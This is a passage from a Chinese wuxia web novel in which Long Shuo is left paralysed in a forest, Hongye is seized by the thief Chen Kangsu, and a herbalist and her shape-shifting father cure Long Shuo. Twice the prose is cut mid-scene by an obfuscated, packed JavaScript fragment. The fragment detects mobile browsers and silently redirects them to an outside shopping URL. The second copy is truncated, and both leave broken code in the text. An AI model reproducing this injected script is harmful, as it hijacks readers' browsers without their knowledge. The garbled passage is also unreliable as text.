只听哗啦啦几声轻响,水墨落定,他翻过折扇一看,上面干干净净,抬头一瞧,却见一个挂了彩的陌生男子突然出现在面前,顿时吓得后退连连。 “哎呀,又被您发现啦!” 那男子大叫一声,飞快地跑出了守中堂。 众人一阵惊慌。 一名男子高声叫道:“鬼,鬼,是鬼啊——” 龙烁一惊,暗想那不是陈糠粟吗,他怎么会在这里,难道他一直在这里了? “七彩云霄笔!”云飞月惊叫:“您是徐若谷徐老前辈?” 徐若谷并不理睬,他左手抓起简秋,右手抓起龙烁:“这里太吵啦,跟我来!” 他携着二人轻轻一跃,迅速消失在茫茫夜色之中。 众人一阵唏嘘! “姐姐,姐姐——” 铭文和袁起一齐追出。 “等等,等一下——” 陆青纵身一跃,也跟了出去。 一场闹剧过后,众人均感不知所措,过了好一会儿,才又开始躁动起来。 他们正打算继续商议围剿星月宫之事时,忽听门外一个女子喊道:“师父,师娘——” 南宫盈定睛一看,原来是红叶带着枫林跑了进来。 “叶儿,你安分一些,不要在这里胡闹,快回房里去!”,南宫盈斥道。 “不是,师父,是我,我是陆青,师姐——师姐她逃出去啦!” 南宫夫人一惊,奔至堂下仔细查看,竟发现红叶的眉间隐隐有些发红,不禁大惊失色,连忙催动咒语解了她身上的乱真易容术。 刹时间,红衣变青衣,姑娘变小伙儿。 古辰一惊,原来此人才是真正的陆青!他心下疑惑:“晌午过后,师父命我们来守中堂接待贵宾,我在马厩找到他时他正在喂马,自那之后我二人形影不离,却不知他和红叶又是何时换了身份!” 众人更是惊叹,有人拍手:“乱真易容法果然名不虚传,陆兄弟假扮的红叶姑娘简直太也逼真!” 谢灵雨疑问:“你是陆青,那么刚才的那人是?” “她是红叶师姐啊,今日晌午我给师姐送点心不小心上了她的当,遭了她的暗算啦!” 南宫夫人怒喝:“是谁让你给她送点心了?” “是,是——” 陆青支支吾吾不敢说。 南宫盈笑盈盈地道:“是我!” “什么?你这个糟老头子,你还怕我虐待了你闺女不成吗?”南宫夫人气急败坏:“哎呀,你们,你们快去把她给我追回来啊,追不回来你们也不用回来了!” “是!” 丁松、成馥、古辰、陆青一齐闪身追了出去。 谢灵雨拱手道:“叔父,婶娘,我也去!” 南宫盈微一点头,谢灵雨便即追出。 龙烁和简秋被徐若谷携着奔行一炷香的时间,来到一片漆黑茂密的山林。 简秋大喊:“阿公,你要带我去哪里啊?” “找一个安静一点的地方啊!” 翻过一座山丘,越过一条山涧,徐若谷发现一个小山坳,他将龙烁随手抛至一棵大树旁,又将简秋轻轻放下:“这个小山坳不错,今晚咱们就在这里休息吧!” 龙烁被那群小罗罗打得浑身疼痛,又被徐若谷携着跑了一大段的山路,整个身子如同散架般难受,这会儿终于稳稳落地,根本不想起身,干脆趴在树旁休息。 后颈被什么东西碰了一下,龙烁当即感到血脉不通,整个人便不能动弹了,又见徐若谷突然从自己身后闪出身来,忙提醒他:“徐前辈,你不小心碰到我的大椎穴了!” 徐若谷没有理会,径直走向简秋:“好娃娃,说实话,我现在心里很难过!我问你啊,我女儿真的十几年前就已经死了吗?这里没有别人,你不要骗我!” 龙烁暗想这徐若谷老前辈二十年来一直在苦苦找寻女儿,在得知自己的女儿已经离世后,虽然伤心难过,语气却带着一丝平静、洒脱与释然,他能够很快调整心态坦然面对,这一节自己却是做不到的。 “阿公,我真的没有骗您,对了,这个您有没有见过?” 简秋从腰间取出一块长方形的玉佩递到徐若谷的面前。 徐若谷接过一看,兴奋非常:“这是我女儿的玉佩没错,可是,怎么只有半截?”,他仔细抚摸,忽然疑问:“这上面何时还刻了字!” 漆黑之中,徐若谷仔细摩挲着这半块玉佩。 似乎刻字之人内力不足,上面的字被刻得极浅极浅。 “上面到底刻的什么字?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316233|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这左面刻的是一棵小草,右面刻的是一个‘米’字!” 徐若谷不解:“刻一个‘米’字在上面做什么?” “不知,阿娘给我这块玉佩的时候上面就有这个字啦!对啦阿公,我还有个亲弟弟,小我三岁,阿娘在我六岁时去世了,我就带着弟弟流浪,被我师父撞见,她见我们可怜就将我们带回去抚养,后来师父因为家境太过贫困,就将弟弟送了人,我师父去世之后,我就带着铭文和袁起一直寻找,可是直到现在也没有找到!” “是吗?哈哈,我还有一个好外孙?” “嗯!” 提起铭文和袁起,简秋忽然想起他们还没有跟上,连忙站起身来回头张望,却见来时的路已是漆黑一片,急道:“阿公,你刚才跑得太快,他们两个追您不上,这会儿可能迷路啦!” “莫非他们也是我的好外孙?” “不是的,我三人相依为命,他们虽然不是我的亲弟弟,但是感情却和亲弟弟一般深厚!” “啊,既然不是我的亲外孙,咱们大可不必理会他们!” “不行啊,阿公,师父过世后,我三人一起在江湖上流浪,最近我们频遇凶险,若是没有他们,您的外孙女可能早就已经死啦!” “现在你有我啦,还怕没人照顾吗,哈哈!” “可是阿公,我们三人同甘苦共患难,他们是我最亲的人啊!” “嘿嘿,现在和你最亲的人就是你阿公我啦!你怕孤单是不是?阿公早就想到啦,你看这小子,咱们抓他回去,让他给你洗衣做饭,做你的夫婿怎么样,从此以后咱三人一齐闯荡江湖你还怕孤单吗,哈哈!” “什么?” 简秋和龙烁一齐惊叫。 龙烁此刻若是在喝水,那水一定是从鼻子眼里喷出来的。他暗想这徐前辈一直疯疯癫癫地让人难以捉摸,之前非要逼我做他的女婿,现在知道她的女儿已经过世了,竟然又别出心裁地想出要我做他的外孙女婿,思路和想法越来越清奇不说,自己的辈分竟然还越来越低,他也不管人家愿意不愿意就乱点鸳鸯谱,实在是有些不可理喻! “阿公(徐前辈),我不喜欢他(我不要娶她)!” 简秋和龙烁异口同声。 徐若谷低头瞧瞧龙烁,又抬头看看简秋,问道:“你不喜欢他?为什么,啊嘿嘿,我知道啦,哎呀,你别看这小子现在像个猪头,他的本来面貌还是蛮俊哒,过几天等他的肿劲儿消了你就知道啦,到时候你一定会满意哒!” “哎呀,不是的阿公!” 简秋已经心有所属又不便透露,羞答答地背过身去。 “不是嫌他像猪头?噢对对,哈哈,你是嫌他的武功差劲是不是,有你阿公我在你还怕啥,就凭这小子的聪明劲儿,我保准两年内就能把他教化成为一个武林高手啦!” “阿公你不要再说了!” 简秋不想再听,转身便走。 “喂,喂,我的好娃娃,你别走啊,你去哪里哇?” 简秋向着来时的路折了回去:“我要去寻我的两个弟弟了,他们若是走丢了我会担心的!” “哎呀,你那两个蠢弟弟还不好找吗?我一会儿就能帮你找到他们啦!”徐若谷跟上去问:“你倒是告诉我你为啥不喜欢他呀?” “我,我已经有喜欢的人了!” “啊?有喜欢的人啦?谁,是谁呀?我去把他抓来给你啊!” “不要,您别抓他!” “为什么?” “您抓来他干嘛呢?” “我抓他来给咱们洗衣做饭啊,他若是敢不从,我就把他打成猪头!” “不要,千万不要——” 说话间,两人渐行渐远。 龙烁这才松一口气,暗想还好简秋喜欢的不是自己,否则有这样一位老丈人跟在身边要自己当牛做马,这后半辈子还有什么快乐可言? 他左思右想,又不自觉地替古兄担忧起来,暗想若是他日后娶了简秋姑娘为妻,他那一身浩然之气很可能就要被徐若谷老前辈摧残殆尽了。 “不好!” 龙烁心中暗暗叫苦,他这会儿才想起来自己被点大穴难以动弹,恐怕不得不孤身一人在这深山密林里过夜。 他环视周围,这里的树木高大草丛茂密,肯定有野兽出没,也不知道自己直勾勾地趴在这里到底安不安全,半夜里会不会被豺狼野豹叼去当晚餐。 他暗自苦笑:“我现在都已经自顾不暇了,还去为别人担惊受怕作甚?” 远山猿猴嘶嚎,近丛促织鸣叫,天空星辰璀璨,林间月光耀眼,周围一片祥和。 龙烁回想起自己这大半个月以来的遭遇,简直可以用“离奇”二字来形容,无数惊心动魄的场面过后,现在终于归于宁静,也算是告一段落。 他又想:“南宫伯父和伯母是定不会答应我和红叶的婚事了,倘若今夜能够不被野兽吃掉,明日我便赶紧找到红叶,带她回冀州去便了!” 37.无处不在 忽听东面隐隐传来女子的呼声,龙烁仔细一听,似是红叶的声音。 声音越来越近,龙烁听得真了,那女子果然在喊:“龙烁哥哥,你在哪里?” “红叶,我在这儿,我在这里啊!”龙烁兴奋道。 红叶寻声而至,见龙烁趴在一棵大树旁,终于松一口气:“龙烁哥哥,我可算找到你啦,你在这里做什么呢?” “我被点了穴,此刻一点也动弹不得!” “怎么回事?”红叶扶着他靠着大树坐起来,伸手帮他解穴,点了几下不起作用,急道:“糟了,我解不开,是谁点的?” “是徐若谷老前辈!” “什么?他不是救了你吗,为什么又点住你的穴道?” “此事说来话长,日后我再给你解释,红叶,我有话跟你说,我决定了,我要带你离开此地,回我们冀州去,你愿不愿意?” “真的?”红叶不敢相信自己的耳朵,她喜极而泣:“你真的愿意带我走?” “嗯,我已经问过伯父伯母了,他们,他们不愿你嫁与我为妻!” “我知道啊,我都看见啦!” “你都看见了?”龙烁奇道:“你怎么会看见了?” “嘻嘻,因为那个陆青,是我假扮的,从你一进来守中堂的大门,我就看到你啦!” “什么?”龙烁不急反笑:“可是我听伯母说你被关起来了啊!” “哼!”红叶小嘴一撇:“这怎么能难得倒我?陆师弟比我哥还好骗,他从窗户外面给我递点心,我趁机施展乱真易容术将他变成我的样子,嘿嘿,他要我给他解开,我却偏偏不解,我骗他说解术比施术难,需要近距离才能施展,他果然去枫林那里将钥匙偷来啦,呵呵,他一进来我就点了他的哑穴,把他绑起来扔到床上,然后易容成他的样子把门反锁,又把钥匙扔回枫林的房间,然后就神不知鬼不觉地跑出来啦!” “哎,只可惜我本想着骑马去找你,哪知道刚到马厩就碰到古辰师兄,只得赶忙装作在喂马,古辰师兄说府里来了很多客人,爹爹要我们去招待贵宾,所以我不得不跟着他们忙活了大半天,到了傍晚守中堂里打起来了,我爹爹又跑来解围,我正愁今晚可能没法儿跑出去找你呢,哪知道你就进来啦,我当时高兴坏啦你知道吗?呵呵! “可是当时堂内局势一直很紧张,我总也找不到机会过来找你,徐若谷那个坏老头带你们离开后,我就跟着追出来啦!” 龙烁恍然大悟:“哦哦!我还纳闷这位陆青小师弟为什么发型那么奇怪,还留了刘海,原来是你变得啊,呵呵,红叶你真聪明,想到这个方法瞒天过海!” “那是当然,嘿嘿!不然被我娘撞见她一定会瞧出破绽了!” “嗯呐,那你又是如何找到这里的?” “我们南宫府往东走是锦官城内,往北走是荒山野岭,往南走是万丈山涧,他一个老人家,总不太可能带着你二人跋涉山水吧?于是我就往西面追过来啦!若是一直找不到你的话我也不担心,我的冰蝶朋友最会找人啦你忘了吗?我只担心那坏老头的轻功太快我追赶不上,幸好他在这里停了下来!呵呵!” “哈哈,红叶你真聪明!”龙烁感叹:“若是我当时就知道陆青是你假扮的就好啦,害我一晚上都在想办法找你!” “哼,骗人!”红叶轻嗔薄怒:“龙烁哥哥,我问你,你是不是觉得兄弟如手足,女人如衣服?” “啊?”龙烁莫名其妙:“你为什么这么问?” “你那么关心你的沐阳兄,一晚上都在为他强出头,对于咱二人的事,我爹爹只说了一句从长计议,你便不再努力争取,哼,还说什么想念我,我看你早已经把我忘得一干二净啦,又哪里会一晚上都在找我?我娘说,男人的嘴最会骗人,这话果然没错!” “我,我怎么会骗你呢!”龙烁急道:“当时确实是形势所迫,大家都为那《天书》争得你死我活,他们都冤枉沐阳公子偷了《天书》你也见到了不是吗?” “哼!那又怎么样!”红叶小嘴一撇,背过身去不再理他。 “红叶你别生气啊!”龙烁心中一急,正欲解释,又觉得她莫名其妙地就生起气来似乎有些蛮不讲理,他眼睛微微闪动,计从心来,转守为攻:“你说我最会骗人,我看我没有你更会骗人啊!你几句话便累得我心焦气躁,如热锅上的蚂蚁般不知如何是好,你这么会骗人,你说以后我会不会经常要被你骗得团团转啦?” 红叶扑哧一笑,转过头来埋怨:“龙烁哥哥你好会冤枉人,我哪里骗你了?我这么,这么喜欢你,又怎么会骗你呢!” “呵呵,我冤枉你了?你其实根本就没有生气,只是装作在生气,故意引我来哄你是不是,呵呵,你还说没有骗我?嗯,只不过——” “只不过什么?” “只不过我也很喜欢你,就算被你骗得团团转,我也心甘情愿,嘿嘿!” 红叶心中万分甜蜜,转念一想,又道:“龙烁哥哥你这么会花言巧语,你还说你不会骗人?” “我哪有花言巧语,我说的是真心话,你若不信,可以过来听听我的心跳,如果我在花言巧语地骗人,心跳一定会变快,你过来听听看,是不是正常?” 红叶甜甜一笑:“我不听!我信你就是了!” “嗯,这就对啦!” 龙烁知道她已经不再生气,又见她笑靥如花,灵动俏丽,于是道:“红叶,我现在动不了,你过来,我想抱抱你!” 红叶脸上腾地一下子红了起来,羞涩地转过身去:“我不去,你既动不了,就等你能动了再说吧!” “呵呵,好吧,我可以忍,但是我想问你,难道你不想抱我吗?” “我——我不想!龙烁哥哥你真坏!” 红叶的脸蛋红得发烫,她将这一切归咎于龙烁的刻意挑拨,连忙站起身来在龙烁的大腿上狠踢一脚。 龙烁惨叫一声:“哎哟好痛!” 红叶这才想起来他被廖通的手下打得遍体鳞伤,当时便要忍不住出手阻止了,幸好当时郭小妹的叫声盖过了自己,想着爹爹妈妈对我们几人的武功身法了如指掌,倘若真的出手阻拦,不出十招就要被他们认出来了! 想到这里,她连忙安慰:“对不起龙烁哥哥,我忘了你还受了伤,你痛不痛啊?” “痛,好痛!” “啊,对不起,我帮你揉揉!”红叶感到十分自责,连忙帮他揉大腿。 “不是那里痛!” “不是这里痛?”红叶疑惑:“我刚明明是踢的这里啊!那你是哪里痛呢?” “这里!”龙烁身子不能动弹,只能眼光往身下一扫说道:“你不让我抱,我心好痛!” 闻声,红叶的脸颊又腾地一下子红了起来,砰砰砰地一连踢了他几脚,痛得龙烁哎哟哎哟地大叫道:“别,别,红叶,哎哟,这回是真的腿痛啦!” 红叶嗔怒:“我知道啊,龙烁哥哥,我是为你好,你腿上更痛些心里就不那么痛了,你感觉一下是不是,现在心里还痛吗?” “不,不,不痛了,呵呵!我若说还痛,你是不是还要踢我?” “对呀,你以后若是再敢戏弄我,我不会饶你的!” “我以后不敢了,以后不敢了,呵呵!” 两人正自温情脉脉,忽听树后一个熟悉的声音说道:“美人儿,他既总是惹你生气,不如就暂且跟了我,无论你要求我做什么,嘿嘿,我都会对你言听计从!” 龙烁心中一颤,暗想:“不好,是陈糠粟的声音!” 他苦于不能动弹,无法保护红叶,忙喊道:“红叶快跑,是那个采花大盗陈糠粟来啦,快,用你的冰蝶蚕丝,快跑!” “哦哦!” 然而为时已晚,红叶刚发出冰蝶蚕丝,却被一个无形而又粗壮的手臂拦腰托起,凌空往密林中飞去。 这人力量甚大,无论红叶怎么挣扎也逃脱不掉,红叶心下恐慌,大声喊道:“救命啊!救命啊!龙烁哥哥——龙烁哥哥——” “红叶,红叶!”龙烁急叫:“陈糠粟,她是我的妻子,你不要伤害她!” “哈哈,兄弟你别以为我不知道,你二人尚未成婚,你又何来妻子了,这小姑娘飞扬跋扈太过不好伺候,我先帮你调教调教她!” 陈糠粟这几句话的声音随着他的快速奔跑竟然越来越弱,说到最后两个字时已经声若蚊蝇。 龙烁暗想:“完了,完了,红叶怕是要被他玷污了,这个家伙怎么似乎无处不在!” 此时已经全然听不到红叶的求救声,龙烁急忙高声喊道:“救命啊,救命,救命啊!” 忽听不远处的草丛中一阵响动,一个瘦削的男子忽地闪出身来道:“天何兄,我的推测没有错,你们果然往西边来啦!” 却是古辰到了! “古兄,古兄,你来得正好,其他人呢,怎么就你一人?” “徐前辈带着你们一下子就跑没了影,我说你们很可能往西边来了,他们不信,于是朝不同的方向寻你们去了!” 看着龙烁着急的样子,古辰问:“你脸色为何如此难看,是伤得重了吗?” “不是,你先别管我,红叶,红叶她被陈糠粟抓走了!你快去救她,他的那个——那个什么药发挥作用也需要时间,你现在去还来得及,快啊!” “什么?你是说那个采花大盗陈糠粟?” “对对,就是他!” “哎!”古辰叹一口气:“我这个师哥简直没法说,真不明白恩师为什么要教授他隐身术功夫,他们往哪个方向去了?” 龙烁本想用手指给他指明方向,奈何此时仍是浑身酸麻动弹不得,只得斜眼喊道:“西南方,西南方向,快去!” “你被人点了穴?” “对对,是徐前辈点的,他的内力极深,你解不开的,别管我啦,快去救红叶,快啊!” “好,我先去救她,再回来救你,你在这等我!” 古辰闪身而去。 龙烁暗自祈祷希望古辰能够尽快找到红叶,千万不要让她受到伤害,否则自己难辞其咎,愧对红叶的父母! 正自焦急之间,他忽觉右脚脚趾一阵轻微的刺痛,瞥眼一瞧,却见一只肥大的黑蝎子从脚边悠悠爬过。 龙烁暗觉南方草木茂盛雨水繁多,潮湿的环境适合各类动植物的生长,连这蝎子的体形都大了我们北方两倍之多,不禁有些害怕,他脚趾间不自觉地疼痛起来,怀疑刚刚定是被这只蝎子蜇到了。 他赶忙又祈祷:“老天爷,我刚求了您半天不要让红叶受到伤害,麻烦您也别忘了我,千万不要让我一个人在这里毒发身亡!” 正祈祷间,他忽觉头疼欲裂,烦恶欲呕,过了一会儿,又觉浑身发热,头晕目眩,他强撑着精神却是不成,不一会儿功夫便昏昏沉沉地睡了过去。 只觉过了一会儿,龙烁慢慢睁开眼,光线刺眼,他不得不举手挡隔,却发现身体已经能够行动自如,而刚刚的那阵头痛恶心之感也已消失不见,顿时一阵欣喜! 忽然间,龙烁发现自己身上的衣衫也已变得干净整洁,他环视四周,原来自己是躺在一个简陋的茅草屋的草榻之上,身上还盖有一扇轻薄的草席。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322279|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这茅草屋甚是简陋,屋中只有一张木桌,桌上除了一盏小小的油灯再无其他,四下里不知哪里飘来的一股浅浅的中草药味道,清香扑鼻。 龙烁不禁暗暗有些奇怪,不知是谁救了自己! 他想起身去查看,却发现手臂无力身子绵软,不得不又躺了回去。 正自纳闷间,却见一名黄衣女子抱着一个药罐走了进来。 “你醒了?”那女子问。 龙烁见这女子衣着朴素容貌秀美,显是个良家妇女,但她起码有二十七八岁的年纪,却仍做姑娘打扮,十分好奇她为何到了这个年龄还未婚配,碍于初次见面不便询问,只得问道:“这位姐姐,请问是你救了我吗?” 那女子道:“我只是帮你解了蝎毒,至于你的穴道,却是我爹帮你解的!” “啊,如此说来便多谢姐姐和伯父啦!”龙烁喃喃道:“好奇怪,我就只睡了一会儿,怎么天就亮了!” “什么睡了一会儿!你已经睡了三天三夜啦!” “什么?真的吗?” “是啊!” 龙烁一惊,只觉一闭眼一睁眼的功夫,竟然已经过去了三天三夜!他又想起自己还在等待古辰的消息,不知他到底有没有救出红叶,红叶到底有没有“受伤”,他心中一急,忽地滚下了草榻! “诶!这位小兄弟,你的身子还没完全恢复,先不要乱动!” “不行姐姐,我还有要事在身,我必须现在回去!” 那女子微微一笑,并未上前阻拦,径自去一旁熬制汤药。 龙烁奋力起身往门外跑去,忽觉头晕目眩浑身无力,刚站起身来便又倒了下去。 “你的蝎毒刚刚除净,现在身子还未完全恢复,你几天都没吃饭了,能有力气?” 龙烁兀自挣扎,却被那女子轻轻一推,又滚回了草榻。 他刚刚躺好,便见一碗汤药突然出现在自己面前。 “有什么事情也要等好了以后再说,先把这碗药喝了吧!” 龙烁定睛一看,碗中的汤药黑漆漆的甚是难看,里面似乎还沉有一些药渣,看起来脏兮兮的样子。 他接过汤药一闻,恶臭难当,更加没了胃口,捏着鼻子道:“原来这几天一直是姐姐在照顾我,太谢谢你了!” “算你命大,若不是我出去采药碰到了你,不出半个时辰你就会一命呜呼的!” “哦哦,原来那蝎毒竟如此厉害啊!” 龙烁捏起鼻子将一碗汤药全部灌进嘴里,一些药渣随之而入,咀嚼起来有软有硬感觉十分奇怪,他将一部分药渣吐出来一瞧,却见一只虫子腿似的东西落在手心,恶心道:“这是什么啊?长得跟虫子腿似的!” “那就是虫子腿啊,是土元的腿,土元俗称土鳖,是治疗跌打损伤的良药!” 闻声,龙烁烦恶之感大作,他胃中一阵翻滚,忽地将刚刚喝下的一碗汤药吐出一大半。 那女子大叫道:“哎呀,浪费浪费,我的土元鳖甲汤很贵的,你怎么给吐出来啦?暴殄天物啊你真的!” “对,对不——” “起”字还没说完,龙烁又呕出一大口汤药,这回连药渣也一股脑地都给吐了出来,顿时舒服了很多,抱歉道:“我不是故意的!只是我从小就很害怕虫子——” “这土鳖虫已经死了,就算是活的也不咬人啊,你怕它做什么?” “不是咬不咬人的问题,主要是,它们长得太丑了!” 那女子扑哧一笑:“怎么你们男子竟然连虫子的美丑也要计较吗?虫子长得美你就喜欢了?” “那倒也不是,其实是因为我小的时候被虫子吓到过,那个牵牛虫你知道吗姐姐,长着两只长犄角的那个,我小的时候拿着它玩,玩着玩着它就突然消失不见了,然后我就害怕了,我怕它突然跑到我身上来,结果你猜怎么着,我往肚子上一摸,它真的就在我的肚子上面趴着,吓得我立马拔腿就跑,结果被一块石头绊了一跤,一下子掉进了河里,那时我还不会游泳,一连呛了好几口水,幸好被我父亲及时发现,这才侥幸死里逃生!” “呵!”那女子嘲笑:“一只牵牛虫而已,至于被吓得要死要活的吗?那我天天抓毒蛇毒蝎入药,岂不是要被吓死很多回啦!” 她说着将一只黑色的肥蝎子拿在手中提到龙烁面前。 龙烁定睛一看,正是前几日晚上咬到自己的那一只,顿时吓得再次滚下草榻,连忙提醒:“姐姐小心,这蝎子有毒的,我就是被它蜇到了才昏迷不醒的!” 那女子捂嘴一笑:“看你长得高大魁梧,怎么胆子却这么小,我已经把它的毒刺拔掉啦,你不必害怕,蝎子能够通经舒络、解毒散结,是一味极好的中药!” 龙烁经过这么一吓,力气反而恢复了一些,他小心翼翼地挪动着身子又回到草榻,悠悠说道:“原来姐姐深谙医术,难怪我的伤势好得如此迅速!” “那是当然,所以我说你很幸运啊,既然碰到了我,那就是你命不该绝!” “敢问姐姐如何称呼?” “我叫尹鹭,你可以叫我小鹭姐姐!” “哇,很好听的名字!小鹭姐姐人如其名,一般的圣洁淳朴!” 尹鹭淡淡一笑:“小兄弟人俊嘴甜,一定俘获了很多女孩子的芳心!” “姐姐过奖!”龙烁淡然道:“弱水三千,我取一瓢足矣!在下姓龙名烁,字天何,实不相瞒,我已经与南宫家的小姐南宫红叶私订了终身,那天晚上我的这位未婚妻子突然被恶人掳走,我朋友前去相救,现在生死未知,所以我着急离开,便是想要去打听他二人的下落!” 38.鸟巢鸡舍 “啊,原来是这样!” 尹鹭微微点头:“龙公子能够坦言相告,足见你是个正人君子,姐姐帮人帮到底,送佛送到西,你把这个药丸吃了,很快便能恢复力气!”,她说着从腰间取出一粒黑色的药丸递到龙烁面前。 “多谢!”龙烁并不多问,拿起药丸一口吞下。 “呵呵,你也不怕我给你的是毒药!” 龙烁笑道:“姐姐若是想害我,便没必要救我!再者说,我的命是姐姐救的,姐姐若想害我,我又何须多言,听凭处置便了!” “呵呵,算你聪明!”尹鹭叹一口气:“不过越聪明的人,在我这里就越不容易走得了,趁我爹爹现在不在,我劝你若是恢复了力气,就赶快离开吧!” 龙烁被她说得摸不着头脑:“姐姐此话怎讲?” 正在此时,忽听门口几只鸡发出惊恐叫声。 旋即,一公一母两只大肥鸡飞快地窜进茅草屋中,母的在前,公的在后,公鸡正在奋力追逐母鸡。 只听那母鸡惊恐大叫:“咯咯咯咯,别追我,别追我,咯咯咯咯!”,而公鸡却只是发出“咯咯咯咯”地奇怪叫声。 龙烁一惊,暗想这通灵之术果然厉害,我竟连鸡的语言都听明白了! 两只鸡在茅草屋中飞檐走壁到处乱窜,弄得屋中尘土飞扬,鸡毛都飞上了天。 龙烁十分好奇:“这只公鸡是要干嘛?似乎不像是要跟她踩背呀!” “我怎么知道他要干嘛,你直接问他好了!” “噢!” 龙烁一怔,暗想莫非她知道我能听懂鸡的语言? 他正打算问那只公鸡究竟要做什么,忽听那只公鸡尖声叫道:“站住,别跑啦,累死我了!” 竟是一个中年男子的声音。 龙烁惊讶地合不拢嘴。 尹鹭叹一口气:“爹爹,你这又是在做什么?” 忽然间,公鸡摇身一变,化作一个面貌俊雅、身形高大的长发老者坐到了龙烁旁边。 这人不过三十八九岁年纪,四方脸长胡须,气喘吁吁道:“这只老母鸡偷吃了我的蚕宝宝,我要教训它,我变成公鸡吓唬它,结果却怎么也追不到它,哼,看我一会儿不把它宰了!咦,这小子醒啦?” “变身术!”龙烁暗想:“莫非他也是松杨先生的弟子!” “是,人家还有要事在身,我这就要遣他走了!” “嗯!” 那男子站起身来捋捋胡须,一本正经地向龙烁道:“你既有要事在身,我就不留你了!” 龙烁拱手:“原来是您替我解开了身上的穴道,大恩大德我龙烁没齿难忘!” “嗯,小事一桩,你不必客气!” 说罢,那男子撒腿便跑,又去抓那只母鸡。 “爹爹,你的蚕宝宝有那么多,让它吃几只又有什么关系?” 尹鹭冲龙烁摆手示意,让他赶快离开。 “那怎么行,我的蚕宝宝岂是它随便能吃的?今天吃几只,明天吃几只,那还得了?” 龙烁虽然有些莫名其妙,却还是按照尹鹭的意思缓缓向门口走去,此时他感到精力充沛元气满满,不得不叹服这位姐姐的医术实在高超。 忽然,那只老母鸡飞快地从龙烁身旁一闪而过,尖声叫道:“不是我吃的,是那只八哥!” 那男子紧随其后,也蹿到龙烁身旁高声骂道:“你这只死肥鸡,还我的蚕宝宝来!” 龙烁好奇:“这位大哥,您还养了八哥吗?” 那男子忽然脸现不悦:“你该尊称我一声前辈!我的确养了八哥,你怎么知道?” 龙烁见这男子说话甚是威严,对他不敢小觑,改口叫道:“前辈——” “嗯!”那男子满意地点点头。 尹鹭迅速闪到那男子身后,冲着龙烁猛力摇头,使劲摆手,示意他不要再说话,赶紧离开。 龙烁十分不解,觉得自己只不过是想给他提个醒而已,没什么大不了,于是说道:“啊,前辈,您的蚕宝宝是那只八哥吃的,不是这只母鸡吃的!” “什么?你看见了?” “没有啊!” “那你怎么知道是八哥吃了我的蚕宝宝?” 龙烁暗想我若是说能听懂鸡的语言,他必不会相信,于是道:“我猜的!” “那你又怎么知道我养了八哥?” “这个,我也是猜的!” “哼哼!”那男子不屑:“那你猜猜我还养了什么动物?” 龙烁不知他此话何意,只是客气地回答:“呃——我猜——您还养了鸭子!” “错,我还养了老鼠、蜗牛、蝙蝠、兔子、青蛙、刺猬、蜈蚣、鹦鹉!” 龙烁感叹:“我看出来了,您很喜欢小动物!” “我也看出来了,你很爱撒谎!” “啊?”龙烁不解:“我没有撒谎啊!” “你说我的蚕宝宝被八哥吃了,那还不是在撒谎?” “不是啊,您的蚕宝宝确实是被那只八哥吃了!” “是谁说的?” “是那只母鸡说的!” “那只母鸡会告诉你?” “呃,它也不是刻意告诉我的,只是它说的时候我听到了!” 那男子一愣“你能听懂鸡讲话?” “呃,略懂一点!” “哼哼,好!”那男子满脸狐疑:“那你跟我来!” 龙烁被那男子拖拽着走到门外,四下望去,只见茅草屋外,篱笆院内,满是晾晒的各种草药。 除此之外,小院之中东一坨西一堆的尽是一个个小小的屋舍,天上飞的地上跑的全是他养的小动物,龙烁不禁惊得呆了。 “你去问问那只母鸡,到底是哪只八哥吃了我的蚕宝宝!” “哦哦!” 龙烁小心翼翼地走到鸡舍,询问那只母鸡是哪只八哥吃了蚕蛹。 那母鸡道:“是嘴巴上有一道伤疤的那只!” 龙烁走到一棵小树旁,抬头望向上面的鸟窝,找到嘴上有疤的那只八哥,看准时机,一把将它抓在手中问:“小八哥,是不是你偷吃了那位前辈的蚕宝宝?” 那八哥被龙烁抓在手中十分害怕:“是——是我吃的,那蚕蛹又肥又嫩的我实在没忍住!求求你不要杀我啊——” “我不会杀你的,放心!” 龙烁将那只八哥拿到那男子面前:“前辈,就是它吃的!” 那男子走过来一看,怀疑道:“你说是我的小花吃的?你可别骗我!” “我没骗您,它自己也承认了!” “我的八哥还没学会说话,它怎么会承认?” “呃——” 龙烁不知该如何跟他解释,又不想透露关于白泽的事,于是将这只八哥放到那男子手中道:“总之就是它吃的!信不信由您了,我还有要事在身,这便要走了,前辈,后会有期!” 龙烁转身向院外走去。 忽听背后那只八哥惨叫一声,他连忙回头,却见那只八哥已经被那男子开膛破肚。 那男子从它的肚子里面取出来半只蚕蛹,惊讶道:“哎呀,原来真是被你吃了!” 龙烁浑身一颤,全没想到这男子竟如此残忍,只因那八哥偷吃了一只蚕蛹便毫不犹豫地将其杀害,不禁埋怨:“前辈,你为何杀了它?” “它偷吃了我的蚕宝宝,我杀了它以儆效尤,否则它们都来吃的话,我的蚕宝宝岂不是要死绝了?” “那您也没必要杀死它呀,您告诉它们以后不要再吃了不就好了?” “哼哼,你这是要来教训我吗?” 龙烁实在气不过,又不便多加干涉,愤愤地道:“我管不着您,告辞!” “站住!”那男子命令道。 龙烁并没有停下脚步。 “我叫你给我站住——” 龙烁打开篱笆小门,转头道:“我管不着您,也请您,别来管我!” 